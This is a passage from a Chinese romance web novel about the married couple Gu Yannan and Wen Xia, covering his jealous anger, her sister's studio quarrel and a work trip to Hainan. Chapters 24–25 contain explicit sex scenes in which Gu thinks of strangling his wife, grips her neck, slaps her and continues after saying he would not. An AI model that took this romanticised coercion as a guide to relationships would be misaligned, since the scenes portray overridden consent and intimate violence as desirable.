林曦愣怔,他这话是什么意思?难道温夏在骗她?
顾衍南耐心告罄,撂下句“赔偿款会按约定的三倍打给你”,抬腿朝车走。
“抱歉顾总,我不知道……”林曦脸色煞白,慌乱不已,话没过脑脱口而出,“我前些天问过温夏,她说你们之间没有感情,让我想追就追,还说祝我们——”
她的话戛然而止,因为她看到素来温淡示人的男人脸色冷得骇人,令人毛骨悚然。
顾衍南的声音冷得似冰渣:“她还说什么?”
林曦眼神飘忽不定,心中畏惧,却不敢不答,小声说:“她还说祝、祝我们有情人终成眷属……”
没有感情。
想追就追。
祝他和别的女人终成眷属。
顾衍南艰涩地滚了下喉结,周遭气温低的如冰山。他偏眸,看着浓稠的夜色,五官轮廓逐一僵住,菲薄的唇抿到微微泛白。
他的第一反应其实不是生气,而是难以置信。
她怎么敢这么对他?
她怎么能这么对他?
她真的、真的是这么想的吗?
林曦被他冷沉气场压得甚至不敢正常呼吸,心中愈发忐忑,但也让她彻底死心了,不管温夏对他有没有情,他显然不止把温夏当成摆在家里的装饰。
想到表哥曾说过的,惹到他的人的下场,林曦后知后觉头脑终于清醒了,语气恐慌地解释:“对不起,是我理解错了,我不会再来打扰你们,我……”
顾衍南居高临下地看着她:“我们感情很好,她在闹脾气,说的气话。”
林曦愣怔,什么……
刚要接话,顾衍南已经转身。
路边,司机见先生走来,下车将车门拉开。
遥遥望去,先生那张俊美清冷的脸,覆盖一层寒霜,笼罩在森冷的黑暗之中。
司机下意识屏住呼吸,打了声招呼。
“嗯。”顾衍南淡淡应了声。
上车后,司机转着方向盘,起步前确认:“先生,是回明湖公馆吧?”
顾衍南偏眸看着窗外,冷静地说:“嗯,回家。”
回家。
回去,掐死她。
第24章 住一夜
远在明湖公馆的温夏洗完澡, 在书房看了会网课,接到温诗打来的视频。
短时间摄入过多新知识,大脑昏昏沉沉的, 杯子里的水恰好没了, 温夏拿着手机下楼接水。
“姐,你干嘛呢?”伦敦那边是中午,五月的天,温诗穿着件红色V领针织毛衣,围着超大logo的深色围巾,额头上沁着一层薄汗。
温夏皱起眉:“现在是五月中旬,不是十一月, 你穿这么厚是准备爬雪山吗?”
“……”
温诗低头瞥了眼自己的穿搭,随口解释:“我拍的这个戏时间线走到初冬了,这是剧里的妆造,等会儿还要接着拍呢, 我嫌麻烦就没换衣服。”
“保姆车呢?”
“这就到了。”温诗走了几步, 拉开车门, 冷气扑面袭来,她舒服地喟叹一声。
温夏走进厨房,打开冰箱, 寒气袭来,她突然想起上次生理期疼得要死要活。
还是放弃,给自己接了杯温水。
“姐,我昨晚和妈吃饭的时候, 听她说她离完婚,大概率会回北城生活。”温诗语调轻快道。
自从那天温诗在伦敦遇到黎女士,温诗和她偶尔见面, 这些天来,从温诗的口中,温夏得知黎女士正在和丈夫打离婚官司,她没有再生孩子,估计是财产分割上没谈拢,在争财产。
不知她和温诗联系的具体原因,或许是年纪大了,想到怀胎十月生下的孩子,或者即将回国,需要温家的人脉,但温诗对她的亲近感到高兴,温夏不会多管,静静听她说这次见面发现黎女士精致染发下的几缕白发。
许是见她长时间不出声,温诗察觉到不对劲,看着屏幕中姐姐温柔美丽的脸,小心翼翼地问:“姐,你不想我和……她有太多的接触吗?”
“当然没有,”温夏坦诚道,“只是太多年没联系,我不知道该怎么看待她的存在。”
她在亲密关系这个课题上,一直是个差等生,她不知道该怎么处理,如果不是非处理不可,便不去处理。
怕妹妹多想,她说:“如果和她待在一起会让你感到开心,我支持你。”
不管黎女士的目的是什么,她是个聪明理智的人,会在温诗面前表现出“慈母”的面目。
温诗闷着小脸,苦思冥想好一会,才道:“我这些年怪过她怨过她,发誓再也不理她,但她那天主动约我,我还是想去,我也不知道自己怎么想的。”
“想不通就别多想。”
“不想了,”温诗晃了晃头,她很有自知之明,知道自己脑袋不聪明,所有的高光点都在脸上,“我的脑容量根本不适合思考,不提她了。”
温夏被她逗笑。
“对了姐,”温诗的脸色突然有几分不自在,别扭道,“你和那个谁最近还好吗?”
温夏反应了一下,才意识到“那个谁”指的是顾衍南。
“挺好的。”她说。
这话是真心话,顾衍南最近跟转性似的,对她态度特别好,早上会给她买早餐,晚上吃饭主动找话题和她聊,她接话,他也不会不理她或者冷言冷语,还主动帮她解答不懂的商业理论。
除了做的频率太高、时间太长,她的体力吃不消,剩下的她大体满意。
如果能一直和平相处到大哥出狱就好了。
温诗脸色缓了缓,冷哼:“他最好好好对你,他要是敢欺负你姐你一定要告诉我,我拿刀去砍他!”
“好,一定告诉你。”温夏笑着哄她。
温夏的眼睛是圆圆的杏眼,笑起来特别温柔,给人一种莫名的亲近感,温诗看姐姐的状态确实不错,纠结一番,才把顾衍南背地里做的好事说出来:“姐,我刚才跟人吵架了,我——”
温夏皱眉打断她:“谁欺负你?”
温诗:“……”
姐姐一向最护短。
“这不是重点,”温诗怕姐姐动怒,急着道,“就是那个傻逼男一号,演技差的要死,台词也不背,跟他对一次戏我乳腺就得增生一次。但谁叫他火,而且他爹还很有钱,导演是我第一部电影的钟原导演,我不想他为难就忍了,但这傻逼今天居然让全剧组等他三个小时,理由是睡过了,我一个这么爱睡懒觉的人有通告都从不迟到,他居然心安理得地来一句睡过了,连句对不起都不说就想把这事揭过!”
“我今天四点起床化妆,从六点等到他九点多,今天这部戏是男女主一起看日出,等他来的时候太阳早就升起来了,我没忍住就说‘你怎么不等日落再来?’,他说‘导演都没说什么,你插什么嘴’,他那副恶臭的嘴脸,我怎么可能忍得住,就跟他吵了起来——”
“他叫什么?”温夏的眉头越皱越深,之前妹妹吐槽,她以为只是同事之间的小矛盾,不便插手,没想到妹妹在剧组居然一直被人欺负。
温诗无奈地看着姐姐:“姐你先听我说完嘛。”
温夏眉头紧蹙:“你继续。”
“然后他扬言要封杀我,当着我的面给他爹打电话,我都准备跟你告状让你给我做主了,结果他爹听到我的名字立刻怂了,要他给我道歉!”
温夏将水杯搁在岛台上。
听着妹妹继续道:“我听他爹骂他的时候说,之前有一次饭局上,他爹提到他是演员,那、那个谁说‘我老婆的妹妹也是演员’,语气熟的就跟我是他亲妹妹一样。”
温夏的眼睫轻微地颤了一下。
商场上的都是人精,不管他有意无意,这句话一出,就等于表明态度——他不止护着他的顾太太,包括他老婆的妹妹,顺带一起护着了。
如果说原本动温诗只得罪温家,现在顾衍南已经当着他的面说了这话,他再不懂事,连带着顾家一起得罪了。
“那傻逼被他爹骂了一通,心不甘情不愿地跟我道歉了,”温诗轻轻哼了声,“谁知道那、那个谁怎么想的,说不定随口一说……我随便说说,姐你随便听听就行。”
说完,温诗长舒一口气。
她仍是不喜那个讨人厌的姐夫,但她自然清楚,他无形中护着她,肯定是为了姐姐。
如果他真的和姐姐好好的,她可以放下偏见,说服自己接受这个姐夫。
当然,前提是姐姐爱他。
“我知道了,”温夏端着水杯,抬腿上楼,“那个男一号,你打算怎么办?要把他赶出剧组吗?”
姐姐怎么变得这么冷酷?温诗连忙摆手:“不用不用,经过这事他心里肯定有数了,不会再这么肆无忌惮,戏都拍了一大半了,这时候把他赶出剧组损失太大。”
温夏没有多说:“如果他再欺负你,告诉我。”
“喔!”
姐妹俩又聊了会闲话,温诗很快被助理喊去拍戏,匆匆挂断电话。
回到书房,温夏把手机扔到桌上,无意间注意到手腕上的翡翠手镯。
戴了十几天,她已经习惯了,不会像刚戴那两天频繁关注它。
盯着翡翠手镯看了会,她点击鼠标,接着看网课。
听了一会,却发现内容怎么都听不进去。
她烦躁地按下暂停键,桌面上整齐摆放的文件,她拿起来,打乱顺序,又一一摆好。
在椅子上静坐几分钟,她起身,从书架上随便抽了本书。
拿到手才看清,是那本经典的《傲慢与偏见》。
她青春期那会看过,只记得大致的故事梗概,温夏抱着书走去卧室。
看书使人心静,烦躁的心情慢慢平复下来。
看到伊丽莎白和达西先生的第一次争吵,忽然,一声惊雷猛地炸响,白楞楞的闪电从天顶劈下来。
无端想起前些日子,他在楼梯上莫名问她的那句——你害怕打雷?
她并不害怕,只是不喜欢雷鸣。
听着让人心慌。
接二连三的轰隆声,伴随着闪电,心脏不受控制地怦怦跳。
温夏按了按心口,低眸,继续看书。
又一下惊雷响起,温夏蹙起眉,突然,卧室的门被人从外面拉开。
她下意识望过去——
他没打伞吗?怎么浑身都是水?外面的雨下得这么大吗?
暖色调光线下,他的发梢、眉毛、睫毛、脸上都沾着水珠,黑色衬衫和黑西裤湿透了,配上那张面无表情的阴沉俊脸,仿佛刚从河里爬出来的阴湿男鬼。
温夏有一瞬的呆滞,脊背升起一层寒意,心中却快速掠过一股难言的情绪,她怔怔地问:“你怎么不打伞?”
她的嗓音轻软,头发也是柔软的触感,长长的黑色直发披在肩头,穿着白色的吊带睡裙,腿上放着本书,不难推测,她刚刚在低头看书。
温静清软,眉目如画。
顾衍南看着她浅浅成扇的睫毛,强行镇压怒意的脑海中快速掠过一个词——温馨。
好似本就该如此,她就该这样。
喉结艰涩地滚了滚,对上那双黑白分明的眸子,质问的话就这样咽了下去。
大脑出奇的冷静,冷静地分析他问这句话,她脸上可能会出现的反应。
大概率先是震惊,然后是苦恼,一是苦恼林曦为什么会不聪明到把这件事直白地告诉他,二是苦恼要怎么应付他的怒火。
按照她一贯的做法,她会好声好气地跟他道歉,和他说对不起,他如果进一步追问,她会默不作声。
更何况,他要怎么问?
问她为什么要把他推给别的女人?
原因,他不是比谁都清楚吗?
顾衍南盯着她温软的眉眼看了良久,喉结滚了滚,最终还是没有问出口。
胆怯吗?
怎么可能。
他只是不想大晚上和她吵架,还是在她害怕的雷雨夜。
前段时间,他们撕破脸,他对她说了很多难听的话,她生他的气了,故意这么说,也……无可厚非。
非要归责,他也不算完全没有过错。
那是他们吵架时的事,饶是冷静如他,吵架时也会说不符合本心的话,她一直在念书,经历的事太少,心性不够成熟,情绪化也正常。
和好之后,她对他……挺好的,刚刚还在关心他为什么下雨天不打伞。
他不想和她吵架,不想看她冷着张脸,更不想听她低声下气地说对不起。
顾衍南单手扯开被雨淋得湿透的衬衫扣子,冷静地想,看在她这些天这么乖巧的份上,他大发慈悲,给她最后一次机会。
如果她再敢这么对他,他一定会亲手掐死她。
他迟迟未出声,温夏皱了下眉头,刚要再问,就听他淡着嗓子开口:“过来。”
半命令式的语气。
她抿了抿唇,把书搁在床头,掀开被子。
还未走到他跟前,他身上被雨水浸透的寒意浅浅渗了过来,温夏的手指下意识紧了紧。
顾衍南抬腿朝浴室走,“进来,给我脱衣服。”
虽然决定不跟她吵架,但他这一路的怒火该由她承担,不吵架就换种方式发泄。
温夏绷直唇,他又在瞎作什么?自己没有胳膊吗?
想是这么想,但她不想和他吵架,只好跟进去。
黑色短发往下滴水,顺着高挺的鼻骨往下滴落,沿着利落分明的轮廓下坠,温夏站在他跟前,抬手去解衬衫扣子,满手都是他衣服上的雨水。
衬衫落地,他赤着上半身,哪怕温夏极力想要忽略,滚烫的荷尔蒙气息仍是无孔不入地包裹她的神经。
耳根不受控制泛红,他们离得很近,是要离得近一点才能给他脱衣服,她和块状分明的八块腹肌,只有一根手指的距离。
他一把年纪了,三十岁的男人不是发福的高发期吗?他整天坐办公室,也就每天晨跑,下雨的话在家里的健身房……好吧,是挺自律的。
脑子里不由自主地想起曾有人说他是男模身材,温夏觉得不大准确,因为她以前被梁从音拉着去高级会所点过男模,还上手摸过腹肌,不仅没有他的好看,也没有他的触感好,他的身材要比男模有料……
胡思乱想着,手摸到他的腰带,她愣了愣,回神,仰头看他:“我不会解——”你自己来吧。
后半句话没说出口,就被他打断:“我教你。”
“……”
她为什么一定要学怎么解男人的腰带?
温夏仰头看他。
对上他漆黑深沉的眼睛。
知道他不是在开玩笑,温夏抿了抿唇,问:“怎么解?”
她低下头,顾衍南看着她白皙细嫩的脖颈,还有……包裹在吊带睡裙中的起伏。
他滚了滚喉结,哑声:“看见那个扣子没有?按一下。”
温夏照做,“咔哒”一声,很轻易就解开了。
原来这么容易。
西裤褪去,踩在脚边。
他全身上下只剩下一条内裤。
无意识抬眸看了眼,就这样对上顾衍南沉沉的目光,正一瞬不瞬地盯着她。
立刻错开他的视线,低头。
没来由的,她的心脏一颤,有些心慌气短。
这有什么,脱个内裤而已……他们什么没做过,昨晚还做了极尽缠绵的事,这不算什么。
想是这样想,但她迟迟未动,有些下不了手。
她的犹豫纠结、羞涩难耐都被顾衍南收入眼底,看着她这幅为难的表情,他的心情果然好上不少,催促:“快点。”
“……”
温夏闭紧眼,心一横,拽着边沿一扯。
也不管脱没脱掉,迅速转身,抬腿往外走:“你洗吧。”
“不准走,陪我洗澡。”他毫不讲理的要求牵住她的脚步。
温夏下意识回头跟他对峙,转到一半意识到什么,僵着脖子转了回去,背对着他说:“我洗过澡了。”
“再洗一遍。”
“……”
温夏压着脾气:“我刚洗过头,洗头很麻烦。”从洗到吹干,是一个大工程。
“只让你重新洗澡,没让你洗头,你不能找个发圈把头发挽起来?”
“……”
神经病。
温夏想走,却无端想起温诗说的话……这段时间的平和生活来之不易,吵起来,心力交瘁。
忍忍吧。
她劝自己,反正他们一起洗过不知道多少次了,在浴室里做也是常有的事。
随手在置物台上拿了根发圈把头发挽住,顾衍南趁她扎头发的时间给浴缸放水:“坐在这里洗,不会弄湿头发。”
等浴缸放满水,顾衍南简单冲完淋浴,熟练地把她的吊带睡裙脱掉,抱着她走进浴缸。
水花四溅。
后背抵上坚硬的浴缸,他低头堵住她的唇,一上来就异常凶猛,带着浅淡的酒精,用力吮吸她的舌根。
舌头好麻。
温夏本能后退,他追着她吻,她躲无可躲,被他掐着后颈,重重亲了下来。
唇舌勾缠、碰撞、搅弄,他还用手掐她的脖子,温夏被吻得快要喘不过气,去捶打他的胸膛:“唔唔……”
她要被他掐死了。
他却好像看不到她快要被他亲的窒息了,对她挠痒痒般的捶打力道置若未闻,仿佛不把她吻晕过去不罢休。
浴室里的新鲜空气本就稀薄,她的唇齿全被他的气息淹没,快喘不过气了,顾衍南终于从她口中退出去。
扣着她的腰,掉转了个姿势,他下她上,他眯起眼,漂亮的桃花眸中染上沉沉的欲念,哑声吩咐:“放进去。”
温夏瞪着眼睛看他,眼睛蒙着层潋滟的水雾,震慑力为零,反倒有种说不出的骄纵。
顾衍南靠着浴缸,扣着她的腰防止她坐不稳栽进水里,暗哑的嗓音低沉性感,说出的话却强势得没有丝毫人情味,“你自己放,今晚只做一次,不然你别想睡了。”
被他亲的,温夏的身体早已软成一滩水,大脑因为缺氧不大清醒,残存的理智分析他的话,她明早还有会,晚上要好好休息。
她的嗓音微微发颤:“你说话算数?”
顾衍南亲了亲她的耳朵:“绝对算数。”
“不许故意折磨我。”
“放心,你只会爽。”
温夏强忍着羞耻心,一寸寸吃进去。
她甚少做这种事,并不顺利,一连失败几次才成功。
没吃完,也吃不完。
只吃下三分之二。
她全身上下都已经红得不行,眉眼柔软似水,可怜兮兮。
顾衍南却丝毫没起怜悯之心,反倒得寸进尺:“自己动。”
温夏眼尾通红,怒瞪他。
顾衍南:“平时都是我动,这次该你了。”
“……”
“别墨迹。”他抬手,不轻不重地扇了下丰盈饱满的雪臀,催促道。
……
已经妥协到这份上,现在闹起来岂不是前功尽弃。
温夏照他的话做,没三分钟就累得喘粗气,怎么会这么累?
顾衍南嘲笑她体力太差,估计也嫌她动的太轻太慢,没再逼她,拿回主动权。
水花荡漾,哗啦哗啦流到地上。
水声、他沉重粗哑的呼吸,还有她软腻的低吟,一片混乱。
温夏全身上下都湿透了,汗水,泪水,唇舌交缠彼此交换的津液,还有其他透明的液体,乱七八糟的。
最后全都被热水冲洗干净。
确实只做了一次。
但是按他的算的。
她却有无数次。
他信守承诺,没有折磨她。
给她一次又一次的欢愉,完全不受控,哪里都是水。
两个小时后。
回到卧室,外面还在下雨。
淅淅沥沥的雨声衬得室内更加安静。
所以那道很轻的撕拉包装的声音清晰入耳,已经累到眼皮都睁不开的温夏倏地睁开眼,果然看到他在往上戴,顿时升起一股被诱骗的怒意。
她今晚为了早点睡觉,一步步退让底线,他要她说什么下流话她都咬牙说了,他居然是骗她的!
“你不是答应过我只做一次吗?”温夏怒声指责他。
“不做。”他淡道。
温夏狐疑地看着他。
戴好,顾衍南躺下,关灯,从背后抱住她。
温夏身体紧绷,他在她这的信用太低,她不信他戴上不做这种鬼话。
“真不做。”他似是看穿她的想法,再次强调。
温夏想了想,他如果做的话,犯不着一遍遍说反话,可不做他戴那个干嘛?
“真的吗?”
“嗯。”
紧绷的神经稍微松了下来,她太困了,眼皮耷拉着,慢慢闭上眼睛……
突然,猛地睁开。
“顾衍南!你说了不做的!”
他还在说:“我没有要做的意思。”
“那你……”剩下的话她说不口,那他放进去干嘛?
顾衍南低低地喘息,从背后紧紧抱着她。
对他来说,更是一场漫长的凌迟。
但这样会让他不那么生气。
只有和她结合,负距离接触,他才能压下想把她掐死的冲动。
她把他惹生气了,他强行镇压怒火,好脾气没有凶她,她该满足他的要求。
各退一步。
他退了,她也该退。
温夏等了两秒,没等到解释,胳膊肘用力往后撞。
他却像是提前预判她的动作,制止住她,“老实点。”
“你……”
“我没想着做,”他嗓音沉哑,附在她耳边,云淡风轻道,“我只是要在里面住一夜。”
“你再乱动的话,就不好说了。”
第25章 “再动一下,后果自负。……
“……”
因为过于荒唐, 温夏的脑子宕机了下。
——他是要放在里面睡觉?
这怎么能睡得着?
窗外雨声不似刚才那般急促,淅淅沥沥的雨声衬得我卧室更加安静。
温夏本能挣扎:“顾衍南你疯了吗?”
“说了别乱动,”他的嗓音粗沉, 暗含警告, “再动一下,后果自负。”
温夏还是难以接受,但她很清楚顾衍南从来不是说说而已,而且搂着她肩膀的手臂肌肉明显紧绷起来,硬得咯人。
与她滑腻柔软的肌肤形成鲜明对比。
正纠结要不要妥协,又听顾衍南道:“之前又不是没有在里面过过夜。”
温夏羞恼:“什么时候?”
“很多次。”
“不仅在里面,还会一直动, 今晚只待不动,”顿了下,他的语气带着毫不掩饰的威胁意味,“你再多说一个‘不’字, 我承诺的只做一次就不算数了。”
“……”
他除了这身贵公子的皮相, 骨子里就是流氓和强盗, 在外人面前装模作样,在她跟前丝毫不掩饰他的恶劣,且越接触越能发现他的真面目和“绅士”二字多背道而驰。
“睡吧, 我不动。”顾衍南从背后抱住她,感受掌心下滑软如瓷的肌肤,手感舒适。
温夏知道跟他没法讲理,窝囊地认命, 那里涨涨的,说不上来的别扭。
她闭上眼睛,努力忽略身体里的异物感, 不知道过了多久,最终在极度疲惫中沉沉入睡。
第二天,温夏是在身下极致的汹涌中醒来的,还没睁开眼,就感觉到有人在她身上作祟。
艰难掀开眼皮,对上那双被欲念充斥的黑眸,顾衍南恰好低头看她。
他没想到她会睡得那么死,好在睡梦中身体的本能反应很是诚实,甚至要比清醒时更主动,纤长白皙的双腿像藤蔓一般缠上他的腰。
醒来后,他原本打算拿出来,但在里面待了一晚上,她似乎适应了它的存在,他慢慢往外拿时,清楚感受到她的挽留。
经过一夜,他的气消了点,但远远没到消气的程度,再加上是早晨,他是个身体正常的成年男性,便做了自己想做的事。
她醒过来,它在里面兴奋地跳了两下,顾衍南掌心掐着她的后颈,哑着嗓子,煞有其事地解释:“外面还在下雨,没法晨跑。”
温夏:?
刚清醒的大脑反应速度较慢,愣了两秒她才弄明白他的话——
没法晨跑,所以在她身上锻炼?
“那你就去健身房!”温夏用力推他被肌肉充满的坚硬手臂。
顾衍南额头浸着薄汗,单手将她试图推开他的双手一把按在头顶,边低头吻她边一字一顿道:“这样的锻炼效果更好。”
-
温夏觉得她遭到了来自顾衍南的热暴力。
他存心就是看不得她好过,这几天一个劲地折腾她。
每晚睡觉前,让她帮他挑明天的穿搭,从衬衫西裤到领带袖口还有腕表,都要她认真挑选搭配。
如果她敷衍,不合他心意,被他否定,她要一直挑下去。
有一次,他就像网络上疯狂被吐槽的甲方,她最开始搭了一套他不满意,她只好耐着性子再给他挑,挑了半个多小时,他最后说还是第一套最合适。
温夏简直要被他气死!
不止如此,他的领带也得她来系,温夏一开始不会,被他冷嘲“作为贵太太连系领带都不会”,给她一天的时间学。
学会之后,他的领带都要她来系。
应酬的时候,打电话让她去接他,霸占她的空闲时间。
非常烦人。
不过也有那么几点好处。
他会每天早上给她准备早饭,要么是晨跑时顺路买的,下雨天的话就给她做三明治——明明是同样的食材,温夏不理解为什么他做的要比她的好吃。
晚上吃饭时,他会帮她解答工作上遇到的难题,提醒她北城中各个家族中微妙的利益关系。
虽然对他有很深的偏见,但温夏不得不承认,他是个难得一见的商业奇才,她冥思苦想半天该怎么办,他听几句就能一针见血地指出矛盾关键点。
五月中下旬。
海南的度假村项目突然出事,换地权益书的持有人说有其他投资人也出了价,比他们高四成,希望他们能提价,要不就卖给别人。
酒店经营的工作已经规划得差不多,这时候出事,可以说是功亏一篑。
当时顾衍南提到换地权益书的事,温夏就和这个项目占股最大的投资人蒋总谈过,他听进去,但没有太当回事,因为他们已经和政府签了合同,结果导致在最后的节骨眼上出事。
温夏气急却无奈,因为蒋总占股51%,掌握控股权,而她只有20%,在项目的重要决策上说不上话。
这是温夏亲自做的第一个项目,但对蒋总来说,这只是他投资的几个项目之一,温夏要比他上心得多,便主动请说她来负责和权益人谈判。
本就是烫手活,蒋总卖她面子,答应由她负责。
“祁总监,声音这么温柔,在跟女朋友报备行程啊?”祁源挂断电话,听到林若雯笑着调侃。
他大方承认:“嗯,女朋友。”
这次出差,温夏带了林若雯、林沨和徐媛,祁源带了助理,一群人在机场候机室,听到这话,纷纷八卦。
“哇——铁树开花啊祁总监。”
“什么铁树开花,现在叫老房子着火,”助理说,“我跟祁总监一起工作六年了,就没见他身边有过亲密关系的异性。”
“到底是多漂亮的美女才能收服我们祁总监啊。”
“……”
温夏正在编辑短信,闻言抬头,诧异地问:“学长你什么时候谈的女朋友?”
祁源眉眼间藏不住的笑意:“昨天,没来得及告诉你。”
温夏为他高兴:“太好了,你终于谈到女朋友了。”
祁源:“……”
“等你们结婚,我一定包一个巨大的红包。”温夏说。
祁源对这段感情很有信心,因为她昨晚对他说了很多遍“我爱你”,他有信心能和她走到结婚这一步,爽快接受,挑眉道:“你现在可以开始准备了。”
“我们没有温副总有钱,能不能只去吃席不给份子钱哇祁总监——”助理玩笑道。
林若雯接话:“我可以充当免费的气氛组,我特别会起哄。”
“我也会!”
“……”
一群人热热闹闹胡扯,冲淡舟车劳顿的疲惫,温夏也被这份热闹感染到,眉眼染上浅浅的笑意。
接着编辑短信,发给顾衍南:[项目突然出事,我要去海南出差,大概三四天回来。]
想了想,又发了句:[如果进展不顺利,要更久。]
报备完,她没等他回信,摁灭手机。
因为一般她发短信,他要几分钟后才回她。
然而,这次却秒给她打来电话。
温夏微怔,接通。
一上来,就听他问:“海南哪里?”
“海口。”
电话那头,他的语气不怎么高兴:“这么久。”
温夏:“你每次出差也要很久。”
他出差都是半个月半个月的出,三四天哪有很久。
沉默几秒,温夏以为电话挂断了,又听他说:“眠眠的婚礼在30号,你作为她的大嫂必须到场。”
她哪有那么不分轻重。
温夏皱了皱眉:“我知道,我会在那之前回去,就算出现紧急情况要多待几天,我也会在那天飞回来。”
安静片刻,他又道:“你最好早点回来,别耽误正事。”
温夏的眉头皱得更深:“知道了。”
不想再跟他聊,她扯了个谎:“我要登机了,晚点再说。”
等他“嗯”了一声,温夏挂断电话,皱着眉头。
原本因“学长终于找到女朋友”的好心情经过这通电话,消失得干干净净。
-
项目进展得并不顺利。
换地权益书的持有人闫总周旋在他们和另一个投资人之间,明里暗里就是想抬价。
蒋总被他的流氓做派气得不轻,温夏说:“不只我们,另一个投资人对闫总的做法也有不满情绪,我想办法找他谈,越拖下去损失越大。”
蒋总怒骂闫总几句,叹了口气:“照你说的办吧。”
“嗯。”
和那位投资人刘总约的是下午六点,会议室的冷气出故障,这个天气没有冷气能热死人,几人便来到温夏的套房客厅商讨谈判事宜。
五点左右。
商讨的差不多,温夏接到梁从音的电话,拿着手机去卧室,几人在客厅边聊边等她。
门铃响起。
在座的就林沨和徐媛资历最浅,林沨主动说:“我去开。”
“……哦,好。”徐媛把话咽下去。
林沨以为是酒店工作人员,拉开门,顿时僵在原地,握着门把手的力道不断收紧。
“顾、顾先生。”
顾衍南轻飘飘扫他一眼,用眼神示意他让路。
不知怎的,一向谨慎的林沨话没过脑子脱口而出:“我们在里面谈公事,顾先生您有什么事吗?”
站在顾衍南身后的周之恒眼角一抽:这小子疯了吗?他知道自己在说什么吗?
顾衍南上下打量林沨一眼,似笑非笑地问:“你是打算明天就和齐二结婚?”
林沨脸色一变,眼底染上羞愤,死死地盯着顾衍南。
周之恒眼角又抽了下,看着林沨这屈辱的表情,蛮可怜的。顾总对外的形象一贯温和,除了在工作中,很少会有这么尖锐的锋利感——显然林沨触到他霉头了。
他看着林沨可怜巴巴的样子,清了清嗓子,打圆场:“顾总找你们温副总有事,温副总呢?”
林沨清醒过来:“温副总在打电话。”
然后看向顾衍南,语气恭敬:“顾总,您请。”
听到动静,客厅的人纷纷抬头看去——
顾衍南扫了眼,看着祁源:“她在哪间?”
祁源:“最里面的卧室。”
顾衍南嗯了声,从周之恒手中接过行李箱,推着往里走。
徐媛抱着林若雯的胳膊,在她耳边小声尖叫:“啊啊啊啊若雯姐好帅好帅好帅!”
林若雯:“再帅也是渣男!”
……
温夏和梁从音聊完正事,看了眼时间:“我晚上有个饭局,时间差不多了,先挂了。”
梁从音:“挂吧挂吧,拜拜。”
挂断电话,温夏准备换身衣服,中午吃饭衣服上染上味道,挑了身新衣服,正要去浴室换,卧室的门突然被人推开。
温夏吓了一跳,抬头看去,难以置信地瞪大眼睛。
“你怎么来了?”
顾衍南关上门,淡睨她:“我不能来?”
“……”
温夏眉骨一跳,看向他的行李箱:“你也来出差?”
“嗯。”
“你要在这住吗?”
这话只是随口一问,他行李箱都推来了,还是顺路过来有事找她?
顾衍南没正面回答,淡声喊她:“顾太太。”
温夏:“……”
她现在一听他这么喊她,脑子就疼。
她仰头,对上顾衍南看不出什么情绪的俊脸。
挤了个微笑:“什么?”
顾衍南冷声道:“老爷子退休了不是傻了,我跟你都在海南出差,住两个酒店,你觉得他会怎么想?”
“……”
他直接回她一句“是”能怎样?
不想把时间浪费在没意义的争辩上,温夏说:“我六点有个饭局,得走了。”
“你,你——”她想说你自己待一会儿吧,她得去忙正事,没有时间陪他。
话刚出个字音就被他淡声打断:“你走你的,我顺路来放个行李。”
似是不想让她误以为他无所事事,他推着行李箱往里走,搁到她的行李箱旁边。
漫不经心地看她一眼,嗓音淡淡,“我又不是来度假的,我晚上也有应酬。”
第26章 被一种莫名的酸楚袭中
温夏没以为他是来度假的。
且不提他平时日理万机, 比她要忙得多,这两天还要帮忙筹备阮眠的婚礼,得是多大的合作能让他亲自飞过来。
“什么应酬?”她随口问了句。
顾衍南动作一顿, 挑了挑眉:“怎么, 你以为我是专程来找你的?”
温夏:“……我没那么想。”
她只是随口问问。
顾衍南睨她一眼,淡淡道:“市政府计划开发新能源产业,正在招商引资,我和负责的周书记以前打过交道,他想从我口袋里掏钱,邀我来海口实地考察。”
温夏:“哦。”
顾衍南眉头微蹙:“除了周之恒,还有两个高管也来了, 晚上跟我一起去应酬。”
温夏不知道他为什么要执着于解释“他真的是来干正事的”,她并没有怀疑,话里话外也没有怀疑的意思。
男女的脑回路差距这么大吗?有时候她真的无法理解顾衍南的想法,只好跳过这个话题:“我知道了, 我去换身衣服。”
顾衍南的眉头皱得更深, 语气不耐:“信不信随你。”
温夏:“……”
她不是说她知道了吗?
温夏无奈, 强行结束话题:“我先去换身衣服。”
顾衍南冷睨她:“嗯。”
温夏拿了身衣服去洗手间。
顾衍南一派冷然地站在卧室中央,目光三百六十度无死角地巡视一圈。
她不是没苦硬吃的性子,酒店套房订的是最贵的行政套房, 能听到海浪拍打岩石的声音,咸湿味的海风中夹杂着一丝清淡的柠檬香。
是她身上的味道,很好闻。
除此之外,没有任何不该有的难闻气味。
顾衍南脸色缓了缓。
在干燥的北方住久了, 湿热的气候难以适应,温夏换了条OL风的无袖白色连衣裙,简单补了个妆, 推门出去。
顾衍南还在卧室。
“你几点的应酬?”温夏问他。
顾衍南:“六点。”
“我也六点,”她看了眼腕表,“时间差不多了,出去吧。”
“嗯。”
客厅。
周之恒已经和温氏这群人打成一片了。
今天中午,突然接到出差的通知,得亏他现在是个单身狗,可以随时随地出差加班。
原本他还意外怎么这么突然,得知太太在海南已经待了足足七天,所有奇怪的事都能说得通了。
正帮顾总打探着太太负责的项目进度,卧室的门突然打开。
一群人齐刷刷看过去。
“啊啊啊好帅好美,好般配!”徐媛在林若雯耳边小声尖叫。
林若雯冷哼,却不得不承认这一点。
什么都抛开不谈,顾衍南这幅从头发丝到脚后跟都写着“矜贵”二字的皮囊,确实和温副总般配。
一般男人站在温副总身边,总是在气场上被她压一头。
但顾衍南不会。
他身上有种浑身天成的压迫感,独属于上位者的高高在上。
温副总踩着十厘米的细高跟,挺直脊背还要比他矮半个头。
无论是外形还是气场,他强大到不会被任何人压下去,只有他镇压别人的份儿。
一群人浩浩汤汤坐电梯下楼。
只有温夏和祁源去应酬,剩下的人回各自的房间。
“太、温副总,你去哪个酒楼啊?”周之恒问。
温夏报出一个酒楼的名字。
“好巧,跟我们是同一个!”周之恒微笑,“您要和顾总坐同一辆车吗?”
顾衍南轻飘飘扫了周之恒一眼。
周之恒讪讪笑了笑。
“我路上还要和学长讨论方案,”温夏想了想,顾忌到不能不给他面子,加了句,“等回来的时候坐同一辆吧,好吗?”
顾衍南将她眼巴巴请求的表情收入眼底,勾了勾唇:“结束给我打电话。”
“噢,”温夏指了指在车旁等她的祁源,“我先走了。”
“去吧。”
各自上车。
两辆商务车一前一后驶向同一个终点。
-
谈判比预估得要顺利,刘总很爽快答应他们的条件。
“温总年轻有为啊,未来是你们年轻人的,我敬你一杯。”说着一杯白酒下肚。
